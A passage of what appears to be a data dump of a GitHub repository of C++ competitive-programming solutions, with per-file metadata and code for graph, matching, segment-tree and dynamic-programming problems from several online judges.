{\r\n\t\t\t\t\tcnt++;\r\n\t\t\t\t\tif (i > 0) {\r\n\t\t\t\t\t\tnv[0] ^= (1 << (i - 1));\r\n\t\t\t\t\t}\r\n\t\t\t\t\tnv[0] ^= (1 << i);\r\n\t\t\t\t\tif (i + 1 < m) {\r\n\t\t\t\t\t\tnv[0] ^= (1 << (i + 1));\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (n > 1) {\r\n\t\t\t\t\t\tnv[1] ^= (1 << i);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tfor (int r = 1; r < n; r++) {\r\n\t\t\t\tfor (int i = 0; i < m; i++) {\r\n\t\t\t\t\tif (nv[r - 1] & (1 << i)) {\r\n\t\t\t\t\t\tcnt++;\r\n\t\t\t\t\t\tnv[r - 1] ^= (1 << i);\r\n\t\t\t\t\t\tif (i > 0) {\r\n\t\t\t\t\t\t\tnv[r] ^= (1 << (i - 1));\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tnv[r] ^= (1 << i);\r\n\t\t\t\t\t\tif (i + 1 < m) {\r\n\t\t\t\t\t\t\tnv[r] ^= (1 << (i + 1));\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tif (r + 1 < n) {\r\n\t\t\t\t\t\t\tnv[r + 1] ^= (1 << i);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (nv[n - 1] == 0) {\r\n\t\t\t\tif (ans == -1 || cnt < ans) {\r\n\t\t\t\t\tans = cnt;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (ans == -1) {\r\n\t\t\tcout << \"Damaged billboard.\\n\";\r\n\t\t} else {\r\n\t\t\tcout << \"You have to tap \" << ans << \" tiles.\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3912280797958374, "alphanum_fraction": 0.47894737124443054, "avg_line_length": 21.5, "blob_id": "19e5460b29aa27051d660acae002ef93703edcd4", "content_id": "bd77adf007e682cacaeb901f5d08ca76c67b0092", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 570, "license_type": "no_license", "max_line_length": 84, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p1234-Accepted-s540491.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <cmath>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst double PI = 3.141592653589793;\r\n\r\ndouble r1,r2,a,n;\r\n\r\nint main(){\r\n\r\n while(scanf(\"%lf%lf\",&r1,&r2)==2)\r\n {\r\n a=asin(r2/(r1+r2));\r\n n=PI/a;\r\n\r\n if(n-(double)((int)n) < 1e-6)\r\n printf(\"%.4lf\\n\",(r1+r2)*(r1+r2)*sin(2.0*a)*((double)((int)n))/2.0);\r\n else if((double)(int(n))+1.0-n < 1e-6 )\r\n printf(\"%.4lf\\n\",(r1+r2)*(r1+r2)*sin(2.0*a)*((double)(int(n))+1.0)/2.0);\r\n else printf(\"No Solution\\n\");\r\n }\r\n\r\n }\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.28584352135658264, "alphanum_fraction": 0.3071008622646332, "avg_line_length": 16.737287521362305, "blob_id": "48fd6d61bf1f90ba687752b51ea4a8fb357778d4", "content_id": "789b9c30c0dd5657777799ae94b201ea637b2380", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2211, "license_type": "no_license", "max_line_length": 73, "num_lines": 118, "path": "/Kattis/dotsboxes.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 90*90;\r\n\r\nstring s[MAXN];\r\n\r\nint movI[] = { 0 , 1 , 0 , -1 };\r\nint movJ[] = { 1 , 0 , -1 , 0 };\r\n\r\nint N;\r\n\r\nbool can_move( int i, int j ){\r\n return ( i >= 1 && i <= N && j >= 1 && j <= N );\r\n}\r\n\r\nint dic[2][MAXN][MAXN];\r\nint sz[2];\r\n\r\nint getv( int i, int j ){\r\n if( !dic[ (i+j) % 2 ][i][j] ){\r\n dic[ (i+j) % 2 ][i][j] = ++sz[ (i+j) % 2 ];\r\n }\r\n\r\n return dic[ (i+j) % 2 ][i][j];\r\n}\r\n\r\nint n, m;\r\nvector<int> g[MAXN];\r\nbool mk[MAXN];\r\nint from[MAXN];\r\n\r\nbool kuhn( int u ){\r\n if( mk[u] ){\r\n return false;\r\n }\r\n\r\n mk[u] = true;\r\n\r\n for( int i = 0; i < g[u].size(); i++ ){\r\n int v = g[u][i];\r\n\r\n if( !from[v] || kuhn( from[v] ) ){\r\n from[v] = u;\r\n return true;\r\n }\r\n }\r\n\r\n return false;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n //freopen(\"dat.txt\",\"r\",stdin);\r\n\r\n cin >> N;\r\n int NN = N;\r\n N--;\r\n\r\n int tot_p = 0;\r\n\r\n for( int i = 0; i < 2*NN-1; i++ ){\r\n cin >> s[i];\r\n for( int j = 0; j < 2*NN-1; j++ ){\r\n if( s[i][j] == '.' ){\r\n tot_p++;\r\n }\r\n }\r\n }\r\n\r\n tot_p -= N*N;\r\n\r\n n = 0;\r\n m = 0;\r\n\r\n for( int i = 1; i <= N; i++ ){\r\n for( int j = 1; j <= N; j++ ){\r\n int u = getv( i , j );\r\n\r\n for( int k = 0; k < 4; k++ ){\r\n int ii = i + movI[k];\r\n int jj = j + movJ[k];\r\n\r\n if( can_move( ii , jj ) ){\r\n int uu = u;\r\n int v = getv( ii , jj );\r\n\r\n if( (i+j) % 2 != 0 ){\r\n swap( uu , v );\r\n }\r\n\r\n if( s[ 2*i-1 + movI[k] ][ 2*j-1 + movJ[k] ] == '.' ){\r\n g[uu].push_back(v);\r\n }\r\n }\r\n }\r\n }\r\n }\r\n\r\n n = sz[0];\r\n m = sz[1];\r\n\r\n int mxf = 0;\r\n for( int u = 1; u <= n; u++ ){\r\n if( kuhn( u ) ){\r\n mxf++;\r\n }\r\n fill( mk , mk + n + 1 , false );\r\n }\r\n\r\n int sol = (n+m) - mxf;\r\n\r\n sol = tot_p - sol;\r\n cout << sol+1 << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.3794988691806793, "alphanum_fraction": 0.405011385679245, "avg_line_length": 23.38888931274414, "blob_id": "1919564aa959bdda8bb337fc81458ed1bfa0578f", "content_id": "bbaf650a83e20e957787f02048b550a3be5e1c11", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2195, "license_type": "no_license", "max_line_length": 115, "num_lines": 90, "path": "/Codeforces-Gym/101116 - 2016-2017 CT S03E05: Codeforces Trainings Season 3 Episode 5 (2016 Stanford Local Programming Contest, Extended)/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E05: Codeforces Trainings Season 3 Episode 5 (2016 Stanford Local Programming Contest, Extended)\n// 101116E\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 10100;\nmap<string, int> NodId;\nint NODES;\nint st, en, m;\nvector<int> start, check;\nvector<int> g[4*MAXN];\nstring word[4*MAXN];\nbool mk[4*10100];\n\nvoid dfs( int u ){\n mk[u] = true;\n\n for( int i = 0; i < g[u].size(); i++ ){\n int v = g[u][i];\n if( !mk[v] )\n dfs( v );\n }\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen( \"dat.txt\", \"r\", stdin );\n int tc;\n cin >> tc;\n while( tc-- ){\n NODES = 0;\n\n\n cin >> st >> en >> m;\n string name;\n for( int i = 0; i < st; i++ ){\n cin >> name;\n int x = NodId[name];\n if( !x )\n x = NodId[name] = ++NODES;\n word[x] = name;\n start.push_back( x );\n }\n for( int i = 0; i < en; i++ ){\n cin >> name;\n int x = NodId[name];\n if( !x )\n x = NodId[name] = ++NODES;\n word[x] = name;\n check.push_back(x);\n\n }\n string name2;\n for( int i = 0; i < m; i++ ){\n cin >> name >> name2;\n int x = NodId[name],\n y = NodId[name2];\n if( !x )\n x = NodId[name] = ++NODES;\n word[x] = name;\n if( !y )\n y = NodId[name2] = ++NODES;\n word[y] = name2;\n g[ x ].push_back(y);\n }\n for( int i = 0; i < start.size(); i++ )\n if( !mk[ start[i] ] )\n dfs( start[i] );\n vector<string> sol;\n for( int i = 0; i < check.size(); i++ ){\n if( mk[ check[i] ] )\n sol.push_back( word[ check[i] ] );\n }\n sort( sol.begin(), sol.end() );\n for( int i = 0; i < sol.size(); i++ )\n cout << sol[i] << \" \\n\"[ i+1 == sol.size()];\n\n start.clear();\n check.clear();\n NodId.clear();\n fill( mk, mk+NODES+1, false );\n\n for( int i = 0; i < NODES + 10; i++ ){\n g[i].clear();\n }\n }\n}\n" }, { "alpha_fraction": 0.42238649725914, "alphanum_fraction": 0.4551214277744293, "avg_line_length": 16.30769157409668, "blob_id": "143c782af5819f53bdf27296dc876475749ed60b", "content_id": "615f50ee49382e3880b892e6f6a1be87d3c182fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 947, "license_type": "no_license", "max_line_length": 50, "num_lines": 52, "path": "/Timus/2018-6200533.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=2018\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 50005;\r\nconst int X = 305;\r\nconst int mod = 1e9 + 7;\r\n\r\nint n, a, b;\r\nint SA[N];\r\nint SB[N];\r\n\r\n/*\r\n\tSA[n] cantidad de secuencias que terminan en 1(s)\r\n\tSB[n] cantidad de secuencias que terminan en 2(s)\r\n\tSA[n] = SB[n - 1] + SB[n - 2] + ... + SB[n - b];\r\n\tSB[n] = SA[n - 1] + SA[n - 2] + ... + SA[n - a];\r\n*/\r\n\r\ninline void add(int &a, int b) {\r\n\ta = (a + b) % mod;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n >> a >> b;\r\n\tSA[0] = 1;\r\n\tSB[0] = 1;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tfor (int j = 1; j <= b; j++) {\r\n\t\t\tif (j > i) {\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tadd(SA[i], SB[i - j]);\r\n\t\t}\r\n\t\tfor (int j = 1; j <= a; j++) {\r\n\t\t\tif (j > i) {\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tadd(SB[i], SA[i - j]);\r\n\t\t}\r\n\t}\r\n\tint ans = 0;\r\n\tadd(ans, SA[n]);\r\n\tadd(ans, SB[n]);\r\n\tcout << ans << \"\\n\";\r\n}" }, { "alpha_fraction": 0.4910941421985626, "alphanum_fraction": 0.5216284990310669, "avg_line_length": 16.714284896850586, "blob_id": "b982b85e4b94e674efd112b5eb38af7819015870", "content_id": "36d3d533e255581bfc3cb652876fe2d4f8fcb4c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 393, "license_type": "no_license", "max_line_length": 40, "num_lines": 21, "path": "/COJ/eliogovea-cojAC/eliogovea-p1386-Accepted-s549062.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\nusing namespace std;\r\n\r\nint P,Q;\r\nvector<int> VP,VQ;\r\nvector<int>::iterator i1,i2;\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d%d\",&P,&Q);\r\n\r\n\tfor(int i=1; i<=P; i++)\r\n\t\tif(!(P%i))VP.push_back(i);\r\n\tfor(int i=1; i<=Q; i++)\r\n\t\tif(!(Q%i))VQ.push_back(i);\r\n\r\n\tfor(i1=VP.begin(); i1!=VP.end(); i1++)\r\n\t\tfor(i2=VQ.begin(); i2!=VQ.end(); i2++)\r\n\t\t\tprintf(\"%d %d\\n\",*i1,*i2);\r\n}\r\n" }, { "alpha_fraction": 0.3408917188644409, "alphanum_fraction": 0.36636942625045776, "avg_line_length": 20.216217041015625, "blob_id": "614e54ac513a4659e50b73e2349ca329bbc49ffc", "content_id": "d879961472a2a6acf962ea928fc91fb888652f2b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3925, "license_type": "no_license", "max_line_length": 133, "num_lines": 185, "path": "/COJ/eliogovea-cojAC/eliogovea-p4192-Accepted-s1310814.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 200 * 1000 + 10;\n\nint n, p, s;\nint v[N];\nint id[N], q_l[N], q_r[N];\n\nint cnt_0[4 * N];\nint cnt_1[4 * N];\n\nint cnt[N];\nint sum[N];\n\nvoid update(int *cnt, int x, int l, int r, int p, int v) {\n if (p < l || r < p) {\n return;\n }\n if (l == r) {\n cnt[x] = v;\n } else {\n int m = (l + r) >> 1;\n update(cnt, 2 * x, l, m, p, v);\n update(cnt, 2 * x + 1, m + 1, r, p, v);\n cnt[x] = cnt[2 * x] + cnt[2 * x + 1];\n }\n}\n\nint query(int *cnt, int x, int l, int r, int ql, int qr) {\n if (qr < ql || l > qr || r < ql) {\n return 0;\n }\n if (ql <= l && r <= qr) {\n return cnt[x];\n }\n int m = (l + r) >> 1;\n return query(cnt, 2 * x, l, m, ql, qr) + query(cnt, 2 * x + 1, m + 1, r, ql, qr);\n}\n\nint last_one(int *cnt) {\n int x = 1;\n int l = 0;\n int r = s - 1;\n\n if (cnt[x] == 0) {\n return -1;\n }\n\n while (l < r) {\n int m = (l + r) >> 1;\n if (cnt[2 * x + 1] > 0) {\n x = 2 * x + 1;\n l = m + 1;\n } else {\n x = 2 * x;\n r = m;\n }\n }\n return l;\n}\n\nint find_kth(int *cnt, int k) {\n int x = 1;\n if (cnt[x] < k) {\n return -1;\n }\n int l = 0;\n int r = s - 1;\n while (l < r) {\n int m = (l + r) >> 1;\n if (cnt[2 * x] >= k) {\n x = 2 * x;\n r = m;\n } else {\n k -= cnt[2 * x];\n x = 2 * x + 1;\n l = m + 1;\n }\n }\n return l;\n}\n\nstruct event {\n int card_id;\n int type;\n int query_time;\n int who;\n\n event() {}\n event(int _card_id, int _type, int _query_time, int _who) : card_id(_card_id), type(_type), query_time(_query_time), who(_who) {}\n\n};\n\nbool operator < (const event & lhs, const event & rhs) {\n if (lhs.card_id != rhs.card_id) {\n return lhs.card_id < rhs.card_id; \n }\n return lhs.type < rhs.type;\n}\n\nevent events[3 * N];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n cin >> n >> p >> s;\n\n for (int i = 1; i <= n; i++) {\n cin >> v[i];\n }\n\n for (int i = 0; i < s; i++) {\n cin >> id[i] >> q_l[i] >> q_r[i];\n }\n\n int e = 0;\n\n for (int i = 1; i <= n; i++) {\n events[e++] = event(i, 0, -1, -1);\n }\n\n for (int i = 0; i < s; i++) {\n events[e++] = event(q_l[i], -1, i, id[i]);\n events[e++] = event(q_r[i], 1, i, id[i]);\n }\n\n sort(events, events + e);\n\n for (int i = 0; i < e; i++) {\n if (events[i].type == 0) {\n int x = last_one(cnt_0);\n int c = query(cnt_1, 1, 0, s - 1, 0, x);\n int y = find_kth(cnt_1, c + 1);\n\n if (y == -1) {\n continue;\n }\n\n assert(y > x);\n\n int z = id[y];\n assert(z > 0);\n\n cnt[z]++;\n sum[z] += v[events[i].card_id];\n \n } else if (events[i].type == -1) {\n if (events[i].who == 0) {\n update(cnt_0, 1, 0, s - 1, events[i].query_time, 1);\n } else {\n update(cnt_1, 1, 0, s - 1, events[i].query_time, 1);\n }\n } else {\n if (events[i].who == 0) {\n update(cnt_0, 1, 0, s - 1, events[i].query_time, 0);\n } else {\n update(cnt_1, 1, 0, s - 1, events[i].query_time, 0);\n }\n }\n }\n\n vector <int> order(p);\n iota(order.begin(), order.end(), 1);\n\n sort(order.begin(), order.end(), [&](int i, int j) {\n if (sum[i] != sum[j]) {\n return sum[i] > sum[j];\n }\n if (cnt[i] != cnt[j]) {\n return cnt[i] < cnt[j];\n }\n return i < j;\n });\n\n for (auto x : order) {\n if (cnt[x] == 0) {\n break;\n }\n cout << x << \" \" << sum[x] << \" \" << cnt[x] << \"\\n\";\n }\n\n}\n" }, { "alpha_fraction": 0.4588131010532379, "alphanum_fraction": 0.4765278995037079, "avg_line_length": 18.160715103149414, "blob_id": "3128ec648e3e59bb9d5eb835d656fb98f21f726d", "content_id": "c1d88c44acb3b1ede29222c664063b16d276fffa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1129, "license_type": "no_license", "max_line_length": 79, "num_lines": 56, "path": "/COJ/eliogovea-cojAC/eliogovea-p2673-Accepted-s904684.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1000005;\r\n\r\nstruct line {\r\n\tlong long m, n;\r\n\tlong long y(long long x) {\r\n\t\treturn m * x + n;\r\n\t}\r\n};\r\n\r\ninline long double inter(line a, line b) {\r\n\treturn (long double)(a.n - b.n) / (long double)(b.m - a.m);\r\n}\r\n\r\nstruct ConvexHullTrick {\r\n\tline ch[N];\r\n\tint size = 0;\r\n\tint last = 0;\r\n\tvoid add(line l) {\r\n\t\twhile (size > 1 && inter(l, ch[size - 1]) <= inter(l, ch[size - 2])) {\r\n\t\t\tsize--;\r\n\t\t}\r\n\t\tch[size++] = l;\r\n\t}\r\n\tlong long get_max(long long x) {\r\n\t\twhile (last + 1 < size && ch[last + 1].y(x) >= ch[last].y(x)) {\r\n\t\t\tlast++;\r\n\t\t}\r\n\t\treturn ch[last].y(x);\r\n\t}\r\n} CH;\r\n\r\nint n;\r\nlong long a, b, c;\r\nlong long x[N];\r\nlong long sx[N];\r\nlong long dp[N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> a >> b >> c;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcin >> x[i];\r\n\t\tsx[i] = sx[i - 1] + x[i];\r\n\t}\r\n\tCH.add((line){0, c});\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tdp[i] = CH.get_max(sx[i]) + a * sx[i] * sx[i] + b * sx[i];\r\n\t\tCH.add((line) {-2LL * a * sx[i], dp[i] + a * sx[i] * sx[i] - b * sx[i] + c});\r\n\t}\r\n\tcout << dp[n] << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.40637776255607605, "alphanum_fraction": 0.42845460772514343, "avg_line_length": 17.109375, "blob_id": "370efa021dddc423ab4d1d78e7f11bf9e25d331b", "content_id": "65d156aa27bb65412aa584299b0c33c3ab1f1758", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1223, "license_type": "no_license", "max_line_length": 98, "num_lines": 64, "path": "/COJ/eliogovea-cojAC/eliogovea-p3879-Accepted-s1120051.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nstruct pt {\r\n\tdouble x, y;\r\n\tpt() {}\r\n\tpt(double _x, double _y) : x(_x), y(_y) {}\r\n};\r\n\r\npt operator + (const pt &a, const pt &b) {\r\n\treturn pt(a.x + b.x, a.y + b.y);\r\n}\r\n\r\npt operator - (const pt &a, const pt &b) {\r\n\treturn pt(a.x - b.x, a.y - b.y);\r\n}\r\n\r\npt operator * (const pt &a, const double k) {\r\n\treturn pt(a.x * k, a.y * k);\r\n}\r\n\r\ninline double dist(const pt &a, const pt &b) {\r\n\tdouble dx = a.x - b.x;\r\n\tdouble dy = a.y - b.y;\r\n\treturn sqrt(dx * dx + dy * dy);\r\n}\r\n\r\nint n;\r\npt p[150];\r\ndouble f[150];\r\ndouble g[150][150];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcin >> n;\r\n\tn += 2;\r\n\tcin >> p[0].x >> p[0].y;\r\n\tcin >> p[1].x >> p[1].y;\r\n\tfor (int i = 2; i < n; i++) {\r\n\t\tcin >> p[i].x >> p[i].y >> f[i];\r\n\t}\r\n\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\tif (i != j) {\r\n\t\t\t\tg[i][j] = min(dist(p[i], p[j]), dist(p[i] + (p[j] - p[i]) * (f[i] / dist(p[i], p[j])), p[j]));\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tfor (int k = 0; k < n; k++) {\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\t\tg[i][j] = min(g[i][j], g[i][k] + g[k][j]);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tcout.precision(2);\r\n\tcout << fixed << g[0][1] << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.45532435178756714, "alphanum_fraction": 0.46756425499916077, "avg_line_length": 17.452381134033203, "blob_id": "5f9acc0d6e057d8ef618ff63f63b7d162dfb119f", "content_id": "ffea7b8b92d2f1a780258fed40fdcdc39ec03cbe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 817, "license_type": "no_license", "max_line_length": 54, "num_lines": 42, "path": "/COJ/eliogovea-cojAC/eliogovea-p2927-Accepted-s634051.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nconst int MAXN = 1010;\r\n\r\nint n, m;\r\nvector<int> G[MAXN];\r\nvector<int>::iterator it;\r\nint lev[MAXN], col[MAXN];\r\nqueue<int> Q;\r\n\r\nbool bfs(int u) {\r\n\tlev[u] = 1;\r\n\tcol[u] = 1;\r\n\tQ.push(u);\r\n\twhile (!Q.empty()) {\r\n\t\tint act = Q.front();\r\n\t\tQ.pop();\r\n\t\tfor (it = G[act].begin(); it != G[act].end(); it++){\r\n\t\t\tif (!lev[*it]) {\r\n\t\t\t\tlev[*it] = lev[act] + 1;\r\n\t\t\t\tcol[*it] = 1 - col[act];\r\n\t\t\t\tQ.push(*it);\r\n\t\t\t}\r\n\t\t\telse if (col[*it] == col[act]) return false;\r\n\t\t}\r\n\t}\r\n\treturn true;\r\n}\r\n\r\nint main() {\r\n\tscanf(\"%d%d\", &n, &m);\r\n\tfor (int i = 0, a, b; i < m; i++) {\r\n\t\tscanf(\"%d%d\", &a, &b);\r\n\t\tG[a].push_back(b);\r\n\t\tG[b].push_back(a);\r\n\t}\r\n\tbool bip = true;\r\n\tfor (int i = 1; i <= n && bip; i++)\r\n\t\tif (!lev[i]) bip = bfs(i);\r\n\tprintf(\"%s\\n\", bip ? \"YES\" : \"NO\");\r\n}\r\n" }, { "alpha_fraction": 0.4192708432674408, "alphanum_fraction": 0.4401041567325592, "avg_line_length": 11.354838371276855, "blob_id": "db14d7a50e6b44c0ee55c71e09c557b75ffcbd10", "content_id": "9c49b212d99067896d5f48f0e9f0af013fa481a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 384, "license_type": "no_license", "max_line_length": 33, "num_lines": 31, "path": "/Codechef/HOLES.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst string s[] = {\n\t\"\",\n\t\"ADOPQR\",\n\t\"B\"\n};\n\nint n;\nstring line;\n\nint cnt[300];\n\nint main() {\n\tfor (int i = 1; i <= 2; i++) {\n\t\tfor (int j = 0; s[i][j]; j++) {\n\t\t\tcnt[s[i][j]] = i;\n\t\t}\n\t}\n\tcin >> n;\n\twhile (n--) {\n\t\tcin >> line;\n\t\tint ans = 0;\n\t\tfor (int i = 0; line[i]; i++) {\n\t\t\tans += cnt[line[i]];\n\t\t}\n\t\tcout << ans << \"\\n\";\n\t}\n}\n\n" }, { "alpha_fraction": 0.388629287481308, "alphanum_fraction": 0.4338006377220154, "avg_line_length": 16.83333396911621, "blob_id": "c011a758bb2ec17d1ad487c313266910ad3edea4", "content_id": "87b235349ecd87f5ba4e5bac0d70b5a729a9ba71", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1284, "license_type": "no_license", "max_line_length": 58, "num_lines": 72, "path": "/Codeforces-Gym/101246 - 2010-2011 ACM-ICPC, NEERC, Southern Subregional Contest/J.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2010-2011 ACM-ICPC, NEERC, Southern Subregional Contest\n// 101246J\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\n\n\nint n;\ndouble x[450];\n\ndouble ans;\ndouble xAns[450];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n //freopen(\"dat.txt\", \"r\", stdin);\n\tfreopen(\"input.txt\", \"r\", stdin);\n\tfreopen(\"output.txt\", \"w\", stdout);\n\n\tcin >> n;\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> x[i];\n\t}\n\n\n\n\tfor (int i = 0; i < n; i++) {\n\t\tdouble lo = 0;\n\t\tdouble hi = 400.0 * 2.0 * 10000.0;\n\t\tdouble d, a, b, fa, fb;\n\t\tfor (int it = 0; it < 400; it++) {\n\t\t\td = (hi - lo) / 3.0;\n\t\t\ta = lo + d;\n\t\t\tb = hi - d;\n\t\t\tfa = 0.0;\n\t\t\tfb = 0.0;\n\t\t\tfor (int j = 0; j < n; j++) {\n\t\t\t\tfa += abs(x[i] + ((double)(j - i)) * a - x[j]);\n\t\t\t\tfb += abs(x[i] + ((double)(j - i)) * b - x[j]);\n\t\t\t}\n\t\t\tif (fa > fb) {\n\t\t\t\tlo = a;\n\t\t\t} else {\n\t\t\t\thi = b;\n\t\t\t}\n\t\t}\n\t\tdouble val = (lo + hi) / 2.0;\n\t\tdouble f = 0.0;\n\t\tfor (int j = 0; j < n; j++) {\n\t\t\tf += abs(x[i] + (double)(j - i) * val - x[j]);\n\t\t}\n\t\tif (i == 0 || f < ans) {\n\t\t\tans = f;\n\t\t\tfor (int j = 0; j < n; j++) {\n\t\t\t\txAns[j] = x[i] + ((double)(j - i)) * val;\n\t\t\t}\n\t\t}\n\t}\n\tcout.precision(10);\n\tcout << fixed << ans << \"\\n\";\n\tfor (int i = 0; i < n; i++) {\n\t\tcout << fixed << xAns[i];\n\t\tif (i + 1 < n) {\n cout << \" \";\n\t\t}\n\t}\n\tcout << \"\\n\";\n}\n" }, { "alpha_fraction": 0.35245901346206665, "alphanum_fraction": 0.3811475336551666, "avg_line_length": 18.918367385864258, "blob_id": "ac888d51f1a28ea6320be6a785aa06fa7d0dac70", "content_id": "3d644e05fa4d5e71b13ceb15f6f425d7365d52d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 976, "license_type": "no_license", "max_line_length": 69, "num_lines": 49, "path": "/Caribbean-Training-Camp-2018/Contest_6/Solutions/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\nconst int maxn = 1000 + 10;\nint k, n;\nint min1[maxn], min2[maxn];\n\nint mat[maxn][maxn];\n\npriority_queue<int> q;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen( \"dat.txt\", \"r\", stdin );\n\n\n cin >> k >> n;\n for( int i = 1; i <= k; i++ )\n for( int j = 1; j <= n; j++ )\n cin >> mat[i][j];\n\n int best = 0;\n\n for( int i = 1; i <= n; i++ ){\n for( int j = 1; j <= k; j++ ){\n q.push( mat[j][i] );\n if( q.size() > 2 )\n q.pop();\n }\n if( q.size() == 2 ){\n min2[i] = q.top(); q.pop();\n min1[i] = q.top(); q.pop();\n }\n else{\n min1[i] = q.top(); q.pop();\n min2[i] = INT_MAX;\n }\n best += min1[i];\n }\n int ans = 0;\n\n for( int i = 1; i <= n; i++ ){\n ans = max( ans, best - min1[i] + min( 2*min1[i], min2[i] ) );\n }\n cout << ans << '\\n';\n\n}\n" }, { "alpha_fraction": 0.3690744936466217, "alphanum_fraction": 0.3972911834716797, "avg_line_length": 17.851064682006836, "blob_id": "c09eec7dc9805d119554029ddd85e5febe0098c1", "content_id": "fdd8a1ef6902d921fec91a52c68c47c81ee4a631", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 886, "license_type": "no_license", "max_line_length": 78, "num_lines": 47, "path": "/Codeforces-Gym/101606 - 2017 United Kingdom and Ireland Programming Contest (UKIEPC 2017)/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017 United Kingdom and Ireland Programming Contest (UKIEPC 2017)\n// 101606C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nstring c[] = {\"\", \"red\", \"yellow\", \"green\", \"brown\", \"blue\", \"pink\", \"black\"};\nmap <string, int> v;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen( \"dat.txt\", \"r\", stdin );\n\n for (int i = 1; i <= 7; i++) {\n v[c[i]] = i;\n }\n\n int n;\n cin >> n;\n\n vector <int> a;\n int r = 0;\n for (int i = 0; i < n; i++) {\n string s;\n cin >> s;\n if (v[s] == 1) {\n r++;\n } else {\n a.push_back(v[s]);\n 